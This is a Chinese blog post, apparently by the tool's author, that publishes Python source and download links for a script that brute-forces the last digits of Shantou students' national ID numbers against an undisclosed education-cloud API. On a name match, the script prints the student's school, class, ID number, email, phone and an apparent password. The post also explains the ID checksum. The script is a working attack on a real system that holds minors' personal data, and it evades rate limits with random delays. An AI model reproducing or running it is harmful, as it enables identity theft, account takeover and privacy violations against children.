通知！！！ 2025届高考考生的中学汕头市教育云数据已经被永久清理

该项目将永久停止更新

20241117更新

1.新增了五种错误的抛出
2.修复了函数参数无法终止的BUG
3.修改了函数查询时的接口不稳定时的代码逻辑
4.将不会再更新，最后更新未上传//请找网站管理员

源码以及程序下载跳转这里下载使用密码:

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acg2jlrtwy5z

或者

1
ACG2JLRTWY5Z

API:因为某些原因，请找网站管理员

无意间找到一个API

API

https://www.***.***/***/***/***/(联系管理员)

下载python库

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pip install requests

学习CN_ID规则

居民身F证的号码是按照国家的标准编制的，由18位组成：前六位为行政区划代码，第七至第十四位为出生日期码，第15至17位为顺序码，第17位代表性别（奇数为男，偶数为女），第18位为校验码。作为尾号的校验码，是由号码编制单位按统一的公式计算出来的，如果某人的尾号是0-9，都不会出现X，但如果尾号是10，那么就得用X来代替，因为如果用10做尾号，那么此人的身F证就变成了19位，而19位的号码违反了国家标准，并且我国的计算机应用系统也不承认19位的身F证号码。Ⅹ是罗马数字的10，用X来代替10，可以保证公民的身F证符合国家标准

详见CSDN

(1)十七位数字本体码加权求和公式

       S = Ai * Wi, i = 2, … , 18
       Y = mod(S, 11)
       i: 表示号码字符从右至左包括校验码字符在内的位置序号
       Ai:表示第i位置上的身F证号码字符值
       Wi:表示第i位置上的加权因子
       i:      18    17    16     15    14    13    12    11    10    9     8     7     6     5    4    3    2    1
       Wi:    7      9     10      5      8      4      2      1      6     3     7     9    10    5    8    4    2    1

(2)Y值对应的校验码字符值：

       Y:            0    1    2    3    4    5    6    7    8    9    10
       校验码: 1     0    X    9    8    7    6    5    4    3     2

试算一个：

身F证号是14010519590215222a1

i:      18    17    16     15    14    13    12    11    10    9     8     7     6     5    4    3    2    1
Ai:     1      4      0       1       0     5       1     9      5     9     0     2     1     5    2    2    2    a1
Wi:    7      9     10      5      8      4      2      1      6     3     7     9    10    5    8    4    2    1

根据公式

S = Ai * Wi=7+36+0+5+0+20+2+9+30+27+0+18+10+25+16+8+4=217
217/11=19+8/11
Y = mod(S, 11)=mod(217,11)=8
所以，检验码为4，该人的身F证号为140105195902152224

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#include <iostream>
using namespace std;
const int factor[] = { 7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2 };//加权因子 
const int checktable[] = { 1, 0, 10, 9, 8, 7, 6, 5, 4, 3, 2 };//校验值对应表 
int checkIDinput( char[] );
void checkID( int[], char[] );
int main()
{
    char ID[ 19 ];
    int IDNumber[ 19 ];
    cout << "输入身F证号码:";
    cin  >> ID;    
    while( !checkIDinput( ID ) )  //防止输入过程中位数输入错误   
    {
           cout << "错误ID,重新输入:"; 
           cout << "输入身F证号码:";
           cin  >> ID;   
    } 
    for ( int i = 0; i < 18; i ++ )//相当于类型转换
         IDNumber[ i ] = ID[ i ] - 48; 
         
    checkID( IDNumber, ID );
    
    system( "pause" ); 
    return 0;
}
int checkIDinput( char ID[] )//检验身F证是否为18位 
{ 
    if ( strlen( ID ) == 18 )//字符串最后一位/0 
       return 1;
    else return 0;
}
void checkID( int IDNumber[], char ID[] )
{
     int i = 0;//i为计数
     int checksum = 0; 
     for ( ; i < 17; i ++ )
         checksum += IDNumber[ i ] * factor[ i ];
    
     if ( IDNumber[ 17 ] == checktable[ checksum % 11 ] || ( ID[ 17 ] == 'x' && checktable[ checksum % 11 ] == 2 ))       cout << "正确身F证号码/n";
     else cout << "错误身F证号码/n"; 
}

例如 汕头行政区划代码

——-统计用区划代码 名称 身F证

  1. 440501000000 市辖区 440501
  2. 440507000000 龙湖区 440507
  3. 440511000000 金平区 440511
  4. 440512000000 濠江区 440512
  5. 440513000000 潮阳区 440513
  6. 440514000000 潮南区 440514
  7. 440515000000 澄海区 440515
  8. 440523000000 南澳县 440523

编码

引用库

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import requests
import logging
import random
import time

第一个用于发送请求
第二个用于去除warming
第三，四个用于随机时间

定义基本函数

取模函数

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def mod(dividend, divisor):
    return dividend % divisor

根据前17位计算校验码

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def CN_ID_Compute(ID_1_17):
    i = 17
    S = 0
    while i > 0:
        S = int(S) + int(int(ID_1_17[i - 1]) * int(WI[i - 1]))
        i -= 1
    result_mid = mod(dividend=S, divisor=11)
    i = 10
    while i >= 0:
        if int(Y[i]) == int(result_mid):
            return YX[i]
        i -= 1

输入处理基本信息得到前14位

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def input_imfo ():
    CINO_P1_City = "4405"  # City_NUM
    CINO_P2_District = "01"  # District_NUM
    CINO_P3_BirthYear = "2000"  # BirthYear_NUM
    CINO_P4_BirthMonth = "01"  # BirthMonth_NUM
    CINO_P5_BirthDay = "01"  # BirthDay_NUM
    CINO_P6_Serial = "01"  # Serial_NUM
    CINO_P7_Gender = "0"  # Gender_NUM
    CINO_P8_Check = "0"  # Check_NUM
    print("您的身份归属地:(1.汕头市辖区 2.龙湖区 3.金平区 4.濠江区 5.潮阳区 6.潮南区 7.澄海区 8.南澳县)")
    city_num = input("输入对应数字:")
    if city_num == "1":
        CINO_P2_District = "01"
    elif city_num == "2":
        CINO_P2_District = "07"
    elif city_num == "3":
        CINO_P2_District = "11"
    elif city_num == "4":
        CINO_P2_District = "12"
    elif city_num == "5":
        CINO_P2_District = "13"
    elif city_num == "6":
        CINO_P2_District = "14"
    elif city_num == "7":
        CINO_P2_District = "15"
    elif city_num == "8":
        CINO_P2_District = "23"
    else:
        print("ERROR")
        return False
    CINO_P3_BirthYear = input("输入出身年:")
    if int(CINO_P3_BirthYear) <= 2000 or int(CINO_P3_BirthYear) >= 2020:
        print("ERROR")
        return False
    CINO_P4_BirthMonth = input("输入出身月:")
    if int(CINO_P4_BirthMonth) <= 0 or int(CINO_P4_BirthMonth) > 12:
        print("ERROR")
        return False
    CINO_P5_BirthDay = input("输入出身日:")
    if int(CINO_P5_BirthDay) <= 0 or int(CINO_P5_BirthDay) > 31:
        print("ERROR")
        return False
    China_ID_NUM_OBJ = CINO_P1_City + CINO_P2_District + \
                       CINO_P3_BirthYear + CINO_P4_BirthMonth + \
                       CINO_P5_BirthDay + CINO_P6_Serial + \
                       CINO_P7_Gender + CINO_P8_Check

    return China_ID_NUM_OBJ

先初始化变量
然后转换归属地
再得到出生日期
最后整理输出字符串

输入性别并转换为数字

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def input_sex():
    print("输入性别:(0.未知 1.女性 2.男性)")
    sex_num = input("输入对应数字:")
    if sex_num == "0" or sex_num == "1" or sex_num == "2":
        return sex_num
    else:
        return False

编写主要的函数

定义

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def Last_4_ID_Try(BeTry,Sex,NAME,API,TME):

提示信息和信息展示时间

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time.sleep(0.2)
print("Checking...")
time.sleep(0.2)

转换字符串为列表

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Try_CNID = list(BeTry)
NAME_list = list(NAME)

设置性别相关参数（包括次数，间隔，错误返回）

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if Sex == 0:
    i = ["0", "0", "0"] # U
    times = 999
    PerPlus = 1
elif Sex == 1:
    i = ["0", "0", "0"] # W
    times = 499
    PerPlus = 2
elif Sex == 2:
    i = ["0", "0", "1"] # M
    times = 499
    PerPlus = 2
else : return 0

中间变量

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time_mid = times

计算输出等待时间

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wait_predict_s = times * TME
wait_predict_m = str(int(wait_predict_s/60))
print("Need " + wait_predict_m +" min at least.")
time.sleep(0.7)

开始循环TAB

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while times >= 0:

输出进度百分比

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print(str(100-(int((times/time_mid)*100))) + "%")

随机等待时间并等待

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time_sleep = random.uniform(TME-0.1,TME+0.1)
time.sleep(time_sleep)

将Try_CNID列表中的元素连接成一个字符串

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Try_CNIDstr = "".join(Try_CNID)
CNID = Try_CNIDstr

消除python报错

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logging.captureWarnings(True)

发送请求

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response = requests.get(API + CNID,verify=False)

如果返回正确状态码200

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if response.status_code == 200:

得到数据

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str_getres = str(response.text)

数据断开位置分析

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position_beg_XXBMS = str_getres.find("\"XXBSM\"")
position_beg_Class = str_getres.find("级",str_getres.find("\"BJMC\""))
position_end_Class = str_getres.find("班",position_beg_Class)
position_beg_XS_JBXX_ID = str_getres.find("\"XS_JBXX_ID\"")
position_beg_Pass = str_getres.find("Pass")
position_beg_school = str_getres.find("XXMC")
position_end_school = str_getres.find("BJMC")
position_beg_NAME = str_getres.find("XM",position_end_school)
position_end_NAME = str_getres.find("SFZJH")
position_beg_ID = position_end_NAME
position_end_ID = str_getres.find("GRBSM")
position_beg_email = str_getres.find("Email")
position_end_email = str_getres.find("MobilePhoneNo")
position_beg_phonenum = position_end_email + 16
position_end_phonenum = str_getres.find("\"}")

导出数据

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OBJ_XXBMS = str_getres[position_beg_XXBMS + 9:position_beg_school - 3]
OBJ_CLASS = str_getres[position_beg_Class + 1:position_end_Class + 1]
OBJ_XS_JBXX_ID = str_getres[position_beg_XS_JBXX_ID + len("\"XS_JBXX_ID\":\"") : position_beg_NAME - 3]
OBJ_Pass = str_getres[position_beg_Pass + 7 : position_beg_email - 3]
OBJ_school = str_getres[position_beg_school + 7:position_end_school - 3]
OBJ_NAME = str_getres[position_beg_NAME + 5:position_end_NAME - 3]
OBJ_ID = str_getres[position_beg_ID + 8:position_end_ID - 5]
OBJ_email = str_getres[position_beg_email + 8:position_end_email - 3]
OBJ_PHONEnum = str_getres[position_beg_phonenum:position_end_phonenum]

姓名相似度数据定义

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OBJ_NAME_list = list(OBJ_NAME)
namelength = len(NAME_list)
mid_FUCK1 = namelength
OBJ_namelength = len(OBJ_NAME_list)
trustNUM = False
similar_Num = 0

计算相似度

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while namelength > 0 and mid_FUCK1 == OBJ_namelength:
    if NAME_list[namelength-1] == OBJ_NAME_list[namelength-1] or OBJ_NAME_list[namelength - 1] == "*":
        namelength -= 1
        similar_Num += 1
        trustNUM = True
    else:
        trustNUM = False
        break

相似度等于姓名长度时输出数据并结束while循环TAB

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if trustNUM == True and similar_Num == mid_FUCK1:
    print("100%")
    print("***************INFO*********************")
    print("School:" + OBJ_school)
    print("Name:" + NAME)
    print("I D:" + OBJ_ID)
    print("e-mail:" + OBJ_email)
    print("phoneN:" + OBJ_PHONEnum)
    print("class:" + OBJ_CLASS)
    print("SFZJH:" + OBJ_ID + "\\t")
    print("XS_JBXX_ID:" + OBJ_XS_JBXX_ID)
    print("XXBMS:" + OBJ_XXBMS)
    print("Pass:" + OBJ_Pass)
    print("*******************************************")
    return True

提前计算下一个数据

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j = int(i[0]) * 100 + int(i[1]) * 10 + int(i[2])
Try_CNID[14] = i[0]
Try_CNID[15] = i[1]
Try_CNID[16] = i[2]
Try_CNID[17] = str(CN_ID_Compute(Try_CNID))
j += PerPlus
i[0] = str(int((j - (j % 100)) / 100))
i[1] = str(int(((j % 100) - ((j % 100) % 10)) / 10))
i[2] = str(int(j % 10))

继续while循环

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times -= 1

定义全局变量

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I = (18, 17, 16, 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1)
WI = (7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2, 1)
Y = (0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10)
YX = (1, 0, "X", 9, 8, 7, 6, 5, 4, 3, 2)

编写main函数

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def main():
    kami = input("ENTER PSW:")
    timesw = 0.5
    if kami == "0" or kami == "0":
        API_ = input("PSW RIGHT PLS ENTER API:")
        print("CN ID Check:(if u forget your ID)")
        time.sleep(0.2)
        Last_4_ID_Try(BeTry=input_imfo(), Sex=int(input_sex()), NAME=input("输入你的姓名:"),API=API_,TME=timesw)
        print("查询成功!程序将在30秒后自动关闭.")
        time.sleep(30)
        return 0
    else:
        print("PSW ERROR")
main()

这是基本思路

源码以及程序下载见Github

项目GitHub地址
程序GitHub下载
完整版请咨询作者
以下是源码：

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import requests
import logging
import random
import time
def mod(dividend, divisor):
    return dividend % divisor
def CN_ID_Compute(ID_1_17):
    i = 17
    S = 0
    while i > 0:
        S = int(S) + int(int(ID_1_17[i - 1]) * int(WI[i - 1]))
        i -= 1
    result_mid = mod(dividend=S, divisor=11)
    i = 10
    while i >= 0:
        if int(Y[i]) == int(result_mid):
            return YX[i]
        i -= 1
def Last_4_ID_Try(BeTry,Sex,NAME,API,TME):
    time.sleep(0.2)
    print("Checking...")
    time.sleep(0.2)
    Try_CNID = list(BeTry)
    NAME_list = list(NAME)
    if Sex == 0:
        i = ["0", "0", "0"] # U
        times = 999
        PerPlus = 1
    elif Sex == 1:
        i = ["0", "0", "0"] # W
        times = 499
        PerPlus = 2
    elif Sex == 2:
        i = ["0", "0", "1"] # M
        times = 499
        PerPlus = 2
    else : return 0
    time_mid = times
    wait_predict_s = times * TME
    wait_predict_m = str(int(wait_predict_s/60))
    print("Need " + wait_predict_m +" min at least.")
    time.sleep(0.7)
    while times >= 0:
        print(str(100-(int((times/time_mid)*100))) + "%")
        time_sleep = random.uniform(TME-0.1,TME+0.1)
        time.sleep(time_sleep)
        Try_CNIDstr = "".join(Try_CNID)
        CNID = Try_CNIDstr
        logging.captureWarnings(True)
        response = requests.get(API + CNID,verify=False) # 发送请求
        if response.status_code == 200:
            #print(response.text)
            str_getres = str(response.text)
            position_beg_XXBMS = str_getres.find("\"XXBSM\"")
            position_beg_Class = str_getres.find("级",str_getres.find("\"BJMC\""))
            position_end_Class = str_getres.find("班",position_beg_Class)
            position_beg_XS_JBXX_ID = str_getres.find("\"XS_JBXX_ID\"")
            position_beg_Pass = str_getres.find("Pass")
            position_beg_school = str_getres.find("XXMC")
            position_end_school = str_getres.find("BJMC")
            position_beg_NAME = str_getres.find("XM",position_end_school)
            position_end_NAME = str_getres.find("SFZJH")
            position_beg_ID = position_end_NAME
            position_end_ID = str_getres.find("GRBSM")
            position_beg_email = str_getres.find("Email")
            position_end_email = str_getres.find("MobilePhoneNo")
            position_beg_phonenum = position_end_email + 16
            position_end_phonenum = str_getres.find("\"}")
            OBJ_XXBMS = str_getres[position_beg_XXBMS + 9:position_beg_school - 3]
            OBJ_CLASS = str_getres[position_beg_Class + 1:position_end_Class + 1]
            OBJ_XS_JBXX_ID = str_getres[position_beg_XS_JBXX_ID + len("\"XS_JBXX_ID\":\"") : position_beg_NAME - 3]
            OBJ_Pass = str_getres[position_beg_Pass + 7 : position_beg_email - 3]
            OBJ_school = str_getres[position_beg_school + 7:position_end_school - 3]
            OBJ_NAME = str_getres[position_beg_NAME + 5:position_end_NAME - 3]
            OBJ_ID = str_getres[position_beg_ID + 8:position_end_ID - 5]
            OBJ_email = str_getres[position_beg_email + 8:position_end_email - 3]
            OBJ_PHONEnum = str_getres[position_beg_phonenum:position_end_phonenum]
            OBJ_NAME_list = list(OBJ_NAME)
            namelength = len(NAME_list)
            mid_FUCK1 = namelength
            OBJ_namelength = len(OBJ_NAME_list)
            trustNUM = False
            similar_Num = 0
            while namelength > 0 and mid_FUCK1 == OBJ_namelength:
                if NAME_list[namelength-1] == OBJ_NAME_list[namelength-1] or OBJ_NAME_list[namelength - 1] == "*":
                    namelength -= 1
                    similar_Num += 1
                    trustNUM = True
                else:
                    trustNUM = False
                    break
            if trustNUM == True and similar_Num == mid_FUCK1:
                print("100%")
                print("***************INFO*********************")
                print("School:" + OBJ_school)
                print("Name:" + NAME)
                print("I D:" + OBJ_ID)
                print("e-mail:" + OBJ_email)
                print("phoneN:" + OBJ_PHONEnum)
                print("class:" + OBJ_CLASS)
                print("SFZJH:" + OBJ_ID + "\\t")
                print("XS_JBXX_ID:" + OBJ_XS_JBXX_ID)
                print("XXBMS:" + OBJ_XXBMS)
                print("Pass:" + OBJ_Pass)
                print("*******************************************")
                return True
        j = int(i[0]) * 100 + int(i[1]) * 10 + int(i[2])
        Try_CNID[14] = i[0]
        Try_CNID[15] = i[1]
        Try_CNID[16] = i[2]
        Try_CNID[17] = str(CN_ID_Compute(Try_CNID))
        j += PerPlus
        i[0] = str(int((j - (j % 100)) / 100))
        i[1] = str(int(((j % 100) - ((j % 100) % 10)) / 10))
        i[2] = str(int(j % 10))
        times -= 1
def input_imfo ():
    CINO_P1_City = "4405"  # City_NUM
    CINO_P2_District = "01"  # District_NUM
    CINO_P3_BirthYear = "2000"  # BirthYear_NUM
    CINO_P4_BirthMonth = "01"  # BirthMonth_NUM
    CINO_P5_BirthDay = "01"  # BirthDay_NUM
    CINO_P6_Serial = "01"  # Serial_NUM
    CINO_P7_Gender = "0"  # Gender_NUM
    CINO_P8_Check = "0"  # Check_NUM

    print("您的身份归属地:(1.汕头市辖区 2.龙湖区 3.金平区 4.濠江区 5.潮阳区 6.潮南区 7.澄海区 8.南澳县)")
    city_num = input("输入对应数字:")
    if city_num == "1":
        CINO_P2_District = "01"
    elif city_num == "2":
        CINO_P2_District = "07"
    elif city_num == "3":
        CINO_P2_District = "11"
    elif city_num == "4":
        CINO_P2_District = "12"
    elif city_num == "5":
        CINO_P2_District = "13"
    elif city_num == "6":
        CINO_P2_District = "14"
    elif city_num == "7":
        CINO_P2_District = "15"
    elif city_num == "8":
        CINO_P2_District = "23"
    else:
        print("ERROR")
        return False
    CINO_P3_BirthYear = input("输入出身年:")
    if int(CINO_P3_BirthYear) <= 2000 or int(CINO_P3_BirthYear) >= 2020:
        print("ERROR")
        return False
    CINO_P4_BirthMonth = input("输入出身月:")
    if int(CINO_P4_BirthMonth) <= 0 or int(CINO_P4_BirthMonth) > 12:
        print("ERROR")
        return False
    CINO_P5_BirthDay = input("输入出身日:")
    if int(CINO_P5_BirthDay) <= 0 or int(CINO_P5_BirthDay) > 31:
        print("ERROR")
        return False
    China_ID_NUM_OBJ = CINO_P1_City + CINO_P2_District + \
                       CINO_P3_BirthYear + CINO_P4_BirthMonth + \
                       CINO_P5_BirthDay + CINO_P6_Serial + \
                       CINO_P7_Gender + CINO_P8_Check
    return China_ID_NUM_OBJ
def input_sex():
    print("输入性别:(0.未知 1.女性 2.男性)")
    sex_num = input("输入对应数字:")
    if sex_num == "0" or sex_num == "1" or sex_num == "2":
        return sex_num
    else:
        return False
I = (18, 17, 16, 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1)
WI = (7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2, 1)
Y = (0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10)
YX = (1, 0, "X", 9, 8, 7, 6, 5, 4, 3, 2)
def main():
    kami = input("ENTER PSW:")
    timesw = 0.5
    if kami == "0" or kami == "0":
        API_ = input("PSW RIGHT PLS ENTER API:")
        print("CN ID Check:(if u forget your ID)")
        time.sleep(0.2)
        Last_4_ID_Try(BeTry=input_imfo(), Sex=int(input_sex()), NAME=input("输入你的姓名:"),API=API_,TME=timesw)
        print("查询成功!程序将在30秒后自动关闭.")
        time.sleep(30)
        return 0
    else:
        print("PSW ERROR")
main()